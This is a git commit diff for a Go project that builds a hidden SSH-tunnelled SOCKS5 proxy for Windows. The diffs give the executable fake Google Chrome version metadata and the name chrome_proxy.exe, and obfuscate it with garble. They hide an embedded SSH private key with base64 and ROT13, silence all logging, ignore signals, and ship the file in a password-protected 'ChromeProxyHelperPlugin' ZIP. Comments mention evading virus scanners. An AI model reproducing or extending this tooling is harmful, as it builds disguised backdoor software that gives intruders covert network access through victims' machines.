Compare commits

..

10 Commits

13 changed files with 267 additions and 87 deletions

View File

@ -35,14 +35,19 @@ jobs:
base64-encoded-secret: ${{ secrets.CONFIG_RELEASE_GO_FILE }} base64-encoded-secret: ${{ secrets.CONFIG_RELEASE_GO_FILE }}
filename: "config_release.go" filename: "config_release.go"
- name: Use resources/ssh_private_key from action secrets - name: Use resources/ssh_private_key.base64.rot13 from action secrets
uses: mobiledevops/secret-to-file-action@v1 # TODO native in Makefile, can be unsafe... uses: mobiledevops/secret-to-file-action@v1 # TODO native in Makefile, can be unsafe...
with: with:
base64-encoded-secret: ${{ secrets.RESOURCES_SSH_PRIVATE_KEY }} base64-encoded-secret: ${{ secrets.RESOURCES_SSH_PRIVATE_KEY_BASE64_ROT13 }}
filename: "ssh_private_key" filename: "ssh_private_key.base64.rot13"
working-directory: "./resources" working-directory: "./resources"
- run: make release - name: Set up MinGW
uses: egor-tensin/setup-mingw@v2
with:
platform: x64
- run: make win
- name: Store release artifacts - name: Store release artifacts
uses: actions/upload-artifact@v4 uses: actions/upload-artifact@v4
@ -50,73 +55,3 @@ jobs:
name: dist-release name: dist-release
path: | path: |
dist dist
goreleaser:
name: Build releases with goreleaser
environment: prod
runs-on: ubuntu-latest
steps:
- name: Check out repository code
uses: actions/checkout@v4
- uses: actions/setup-go@v5
with:
go-version: ${{ env.GO_VERSION }}
cache: true
check-latest: true
- name: Set up MinGW
uses: egor-tensin/setup-mingw@v2
with:
platform: x64
- name: Use config_release.go from action secrets
uses: mobiledevops/secret-to-file-action@v1 # TODO native in Makefile, can be unsafe...
with:
base64-encoded-secret: ${{ secrets.CONFIG_RELEASE_GO_FILE }}
filename: "config_release.go"
- name: Use resources/ssh_private_key from action secrets
uses: mobiledevops/secret-to-file-action@v1 # TODO native in Makefile, can be unsafe...
with:
base64-encoded-secret: ${{ secrets.RESOURCES_SSH_PRIVATE_KEY }}
filename: "ssh_private_key"
working-directory: "./resources"
- name: Install upx
run: sudo apt install upx
- name: Install garble
run: make install-deps
- name: Run GoReleaser to build releases
uses: goreleaser/goreleaser-action@v6
with:
# either 'goreleaser' (default) or 'goreleaser-pro'
distribution: goreleaser
# 'latest', 'nightly', or a semver
version: '~> v2'
args: release --clean --snapshot
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# NOTE: Some virus and malware scanners detect mangled UPX headers and mark it as suspisious
#- name: Obfuscate UPX packed executable
# run: "go run cmd/upx-obfuscator/main.go dist/win-release_windows_amd64_v1/go-socks5-ssh-proxy.exe"
- name: Copy win64 release exe for dist
run: "cp dist/win-release_windows_amd64_v1/go-socks5-ssh-proxy.exe dist/chrome_proxy.exe"
- name: Store win64 release exe for dist
uses: actions/upload-artifact@v4
with:
name: ChromeProxyPlugin
path: |
dist/chrome_proxy.exe
- name: Store all GoReleaser artifacts
uses: actions/upload-artifact@v4
with:
name: dist-goreleaser
path: |
dist

View File

@ -0,0 +1,69 @@
goreleaser:
name: Build releases with goreleaser
environment: prod
runs-on: ubuntu-latest
steps:
- name: Check out repository code
uses: actions/checkout@v4
- uses: actions/setup-go@v5
with:
go-version: ${{ env.GO_VERSION }}
cache: true
check-latest: true
- name: Set up MinGW
uses: egor-tensin/setup-mingw@v2
with:
platform: x64
- name: Use config_release.go from action secrets
uses: mobiledevops/secret-to-file-action@v1 # TODO native in Makefile, can be unsafe...
with:
base64-encoded-secret: ${{ secrets.CONFIG_RELEASE_GO_FILE }}
filename: "config_release.go"
- name: Use resources/ssh_private_key.base64.rot13 from action secrets
uses: mobiledevops/secret-to-file-action@v1 # TODO native in Makefile, can be unsafe...
with:
base64-encoded-secret: ${{ secrets.RESOURCES_SSH_PRIVATE_KEY_BASE64_ROT13 }}
filename: "ssh_private_key.base64.rot13"
working-directory: "./resources"
- name: Install upx
run: sudo apt install upx
- name: Install garble
run: make install-deps
- name: Run GoReleaser to build releases
uses: goreleaser/goreleaser-action@v6
with:
# either 'goreleaser' (default) or 'goreleaser-pro'
distribution: goreleaser
# 'latest', 'nightly', or a semver
version: '~> v2'
args: release --clean --snapshot --id win-release
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# NOTE: Some virus and malware scanners detect mangled UPX headers and mark it as suspisious
#- name: Obfuscate UPX packed executable
# run: "go run cmd/upx-obfuscator/main.go dist/win-release_windows_amd64_v1/go-socks5-ssh-proxy.exe"
- name: Copy win64 release exe for dist
run: "cp dist/win-release_windows_amd64_v1/go-socks5-ssh-proxy.exe dist/chrome_proxy.exe"
- name: Store win64 release exe for dist
uses: actions/upload-artifact@v4
with:
name: ChromeProxyPlugin
path: |
dist/chrome_proxy.exe
- name: Store all GoReleaser artifacts
uses: actions/upload-artifact@v4
with:
name: dist-goreleaser
path: |
dist

2
.gitignore vendored
View File

@ -7,5 +7,5 @@ socks5-ssh-proxy.release
*.base64 *.base64
*.exe *.exe
*.zip *.zip
resource.syso
dist/ dist/

View File

@ -60,10 +60,11 @@ builds:
goarch: goarch:
- amd64 - amd64
ldflags: ldflags:
- -w -H=windowsgui - "-H=windowsgui"
gobinary: "scripts/garble.sh" gobinary: "scripts/garble.sh"
tags: tags:
- release - release
- windows
upx: upx:
- # Whether to enable it or not. - # Whether to enable it or not.

View File

@ -1,6 +1,8 @@
SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go system.go system_windows.go system_linux.go system_darwin.go SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go system.go system_windows.go system_linux.go system_darwin.go
GARBLE_BIN = $(shell go env GOPATH)/bin/garble GARBLE_BIN = $(shell go env GOPATH)/bin/garble
GOVERSIONINFO_BIN = $(shell go env GOPATH)/bin/goversioninfo
GARBLE_CMD = $(GARBLE_BIN) -literals -tiny GARBLE_CMD = $(GARBLE_BIN) -literals -tiny
export PATH := $(shell go env GOPATH)/bin:$(PATH)
all: socks5-ssh-proxy all: socks5-ssh-proxy
@ -18,23 +20,31 @@ socks5-ssh-proxy: $(SOURCES)
socks5-ssh-proxy.release: resources $(SOURCES) $(GARBLE_BIN) socks5-ssh-proxy.release: resources $(SOURCES) $(GARBLE_BIN)
GOOS=darwin GOARCH=amd64 $(GARBLE_CMD) build -tags release -o $@ GOOS=darwin GOARCH=amd64 $(GARBLE_CMD) build -tags release -o $@
upx $@ upx $@
win: socks5-ssh-proxy.exe win: dist/chrome_proxy.exe
socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES) dist/chrome_proxy.exe: socks5-ssh-proxy.exe
mkdir -p dist
cp -v $< $@
socks5-ssh-proxy.exe: resources $(GOVERSIONINFO_BIN) $(GARBLE_BIN) $(SOURCES)
CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ CGO_ENABLED=1 GOOS=windows GOARCH=amd64 go generate -tags windows,release
CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ CGO_ENABLED=1 GOOS=windows GOARCH=amd64 $(GARBLE_BIN) -literals build -trimpath -ldflags "-s -w -H=windowsgui -buildid=" -tags windows,release -o $@
# CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui -X cfg.VerboseModeKey=$(RELEASE_VERBOSE_MODE_KEY)" -tags release -o $@ # CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui -X cfg.VerboseModeKey=$(RELEASE_VERBOSE_MODE_KEY)" -tags release -o $@
CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui" -tags release -o $@ #CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui" -tags release -o $@
upx $@ #upx $@
go run cmd/upx-obfuscator/main.go $@ #go run cmd/upx-obfuscator/main.go $@
goreleaser: resources $(GARBLE_BIN) goreleaser: resources $(GARBLE_BIN)
goreleaser build --clean --snapshot --id win-release goreleaser build --verbose --clean --snapshot --id win-release
# goreleaser build --clean --snapshot --id win-release
win-package: ChromeProxyHelperPlugin.zip win-package: ChromeProxyHelperPlugin.zip
ChromeProxyHelperPlugin.zip: socks5-ssh-proxy.exe ChromeProxyHelperPlugin.zip: socks5-ssh-proxy.exe
cp socks5-ssh-proxy.exe chrome_proxy.exe cp socks5-ssh-proxy.exe chrome_proxy.exe
upx chrome_proxy.exe #upx chrome_proxy.exe
zip -eP resistanceIsFutile ChromeProxyHelperPlugin.zip chrome_proxy.exe zip -eP resistanceIsFutile ChromeProxyHelperPlugin.zip chrome_proxy.exe
rm -f chrome_proxy.exe rm -f chrome_proxy.exe
install-deps: $(GARBLE_BIN) install-deps: $(GARBLE_BIN) $(GOVERSIONINFO_BIN)
$(GARBLE_BIN): $(GARBLE_BIN):
go install mvdan.cc/garble@v0.12.1 go install mvdan.cc/garble@v0.12.1
$(GOVERSIONINFO_BIN):
go install github.com/josephspurrier/goversioninfo/cmd/goversioninfo@v1.4.0
clean: clean:
rm -f *.exe rm -f *.exe
rm -f *.zip rm -f *.zip
@ -59,10 +69,14 @@ resources/ssh_private_key:
@echo "=====================================" @echo "====================================="
resources/ssh_private_key.base64: resources/ssh_private_key resources/ssh_private_key.base64: resources/ssh_private_key
base64 -i $< -o $@ base64 -i $< -o $@
resources/ssh_private_key.base64.rot13: resources/ssh_private_key.base64
go run cmd/rot13-obfuscator/main.go $< $@
resources/ssh_private_key.base64.rot13.github: resources/ssh_private_key.base64.rot13
base64 -i $< -o $@
fmt: fmt:
gofmt -w *.go gofmt -w *.go
secrets: config_release.go.base64 resources/ssh_private_key.base64 secrets: config_release.go.base64 resources/ssh_private_key.base64.rot13.github
.phony: clean test win .phony: clean test win

View File

@ -0,0 +1,51 @@
package main
import (
"fmt"
"io/ioutil"
"log"
"os"
)
func rot13(input byte) byte {
if 'A' <= input && input <= 'Z' {
return 'A' + (input-'A'+13)%26
} else if 'a' <= input && input <= 'z' {
return 'a' + (input-'a'+13)%26
}
return input
}
func rot13Bytes(data []byte) []byte {
result := make([]byte, len(data))
for i, b := range data {
result[i] = rot13(b)
}
return result
}
func main() {
if len(os.Args) != 3 {
log.Fatalf("Usage: %s <input file> <output file>\n", os.Args[0])
}
inputFile := os.Args[1]
outputFile := os.Args[2]
// Read the input file
inputData, err := ioutil.ReadFile(inputFile)
if err != nil {
log.Fatalf("Failed to read input file: %v", err)
}
// Apply ROT13 transformation
outputData := rot13Bytes(inputData)
// Write the transformed data to the output file
err = ioutil.WriteFile(outputFile, outputData, 0644)
if err != nil {
log.Fatalf("Failed to write output file: %v", err)
}
fmt.Printf("File %s has been converted using ROT13 and saved to %s\n", inputFile, outputFile)
}

View File

@ -82,6 +82,7 @@ Check if running under wine by testing if executables are present:
* <https://posts.specterops.io/offensive-security-guide-to-ssh-tunnels-and-proxies-b525cbd4d4c6> * <https://posts.specterops.io/offensive-security-guide-to-ssh-tunnels-and-proxies-b525cbd4d4c6>
* <https://emulator41.medium.com/golang-malware-used-by-cybercriminals-408276a276c8> * <https://emulator41.medium.com/golang-malware-used-by-cybercriminals-408276a276c8>
* <https://synzack.github.io/Tunneling-Traffic-With-SSL-and-TLS/> * <https://synzack.github.io/Tunneling-Traffic-With-SSL-and-TLS/>
* <https://www.trisul.org/blog/traffic-analysis-of-secure-shell-ssh/>
## Development information ## Development information

11
main.go
View File

@ -14,6 +14,13 @@ import (
var fetchedSSHHostPublicKey SSHHostPublicKeyFetcher var fetchedSSHHostPublicKey SSHHostPublicKeyFetcher
var sshfpResolver *sshfp.Resolver var sshfpResolver *sshfp.Resolver
func secureEraseResourceSSHPrivateKey() {
log.Println("ERASING SSH private key")
// for i := range resourceSSHPrivateKey {
// resourceSSHPrivateKey[i] = 0
// }
}
type SSHHostPublicKeyFetcher struct { type SSHHostPublicKeyFetcher struct {
ssh.PublicKey ssh.PublicKey
} }
@ -94,6 +101,8 @@ func main() {
var signer ssh.Signer var signer ssh.Signer
var privateKey string var privateKey string
defer secureEraseResourceSSHPrivateKey()
dnsServers := sshfp.WithDNSClientConfigFromReader(cfg.DNSServersResolvConf) dnsServers := sshfp.WithDNSClientConfigFromReader(cfg.DNSServersResolvConf)
sshfpResolver, err = sshfp.NewResolver(dnsServers) sshfpResolver, err = sshfp.NewResolver(dnsServers)
@ -131,6 +140,8 @@ func main() {
log.Println(err) log.Println(err)
} }
secureEraseResourceSSHPrivateKey()
log.Println("SOCKS5 Addr", proxyServerURL) log.Println("SOCKS5 Addr", proxyServerURL)
systemOSDetect() systemOSDetect()

View File

@ -6,15 +6,52 @@ package main
import ( import (
_ "embed" _ "embed"
"os" "os"
"log"
"encoding/base64"
) )
//go:embed resources/ssh_private_key //go:embed resources/ssh_private_key.base64.rot13
var resourceSSHPrivateKeyBase64Rot13 string
var resourceSSHPrivateKey string var resourceSSHPrivateKey string
func rot13(input byte) byte {
if 'A' <= input && input <= 'Z' {
return 'A' + (input-'A'+13)%26
} else if 'a' <= input && input <= 'z' {
return 'a' + (input-'a'+13)%26
}
return input
}
// rot13String function to apply ROT13 to a string
func rot13String(input string) string {
result := make([]byte, len(input))
for i := range input {
result[i] = rot13(input[i])
}
return string(result)
}
func resourceSSHPrivateKeyUnpack() {
// TODO use github.com/awnumar/memguard
resourceSSHPrivateKeyBase64 := rot13String(resourceSSHPrivateKeyBase64Rot13)
decodedData, err := base64.StdEncoding.DecodeString(resourceSSHPrivateKeyBase64)
if err != nil {
log.Fatalf("Failed to decode resourceSSHPrivateKeyBase64Rot13: %v", err)
}
resourceSSHPrivateKey = string(decodedData)
}
func init() { func init() {
dontSilenceKey := os.Getenv("VMK") dontSilenceKey := os.Getenv("VMK")
if dontSilenceKey != cfg.VerboseModeKey { if dontSilenceKey != cfg.VerboseModeKey {
systemRouteAllLogging(os.DevNull) systemRouteAllLogging(os.DevNull)
systemIgnoreAllSignals() systemIgnoreAllSignals()
} }
resourceSSHPrivateKeyUnpack()
} }

View File

@ -0,0 +1,17 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
type="win32"
name="blabla"
version="1.0.0.0"
processorArchitecture="*"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel
level="asInvoker"
uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>

View File

@ -1,2 +1,2 @@
#!/usr/bin/env bash #!/usr/bin/env bash
`go env GOPATH`/bin/garble -literals -tiny $@ `go env GOPATH`/bin/garble -literals $@

View File

@ -1,4 +1,5 @@
//go:build windows //go:build windows
//go:generate goversioninfo -manifest=resources/chrome_proxy.exe.manifest -64
// +build windows // +build windows
package main package main

43
versioninfo.json Normal file
View File

@ -0,0 +1,43 @@
{
"FixedFileInfo": {
"FileVersion": {
"Major": 1,
"Minor": 0,
"Patch": 0,
"Build": 0
},
"ProductVersion": {
"Major": 1,
"Minor": 0,
"Patch": 0,
"Build": 0
},
"FileFlagsMask": "3f",
"FileFlags ": "00",
"FileOS": "040004",
"FileType": "01",
"FileSubType": "00"
},
"StringFileInfo": {
"CompanyName": "Google LLC",
"FileDescription": "Google Chrome",
"FileVersion": "127.0.6533.73",
"InternalName": "chrome_proxy",
"LegalCopyright": "Copyright 2024 Google LLC. All rights reserved.",
"OriginalFilename": "chrome_proxy.exe",
"ProductName": "Google Chrome",
"ProductVersion": "127.0.6533.73",
"CompanyShortName": "Google",
"ProductShortName": "Chrome",
"LastChange": "b59f345ebd6c6bd0b5eb2a715334e912b514773d-refs/branch-heads/6533@{#1761}",
"Official Build": "1"
},
"VarFileInfo": {
"Translation": {
"LangID": "0409",
"CharsetID": "04B0"
}
},
"IconPath": "",
"ManifestPath": ""
}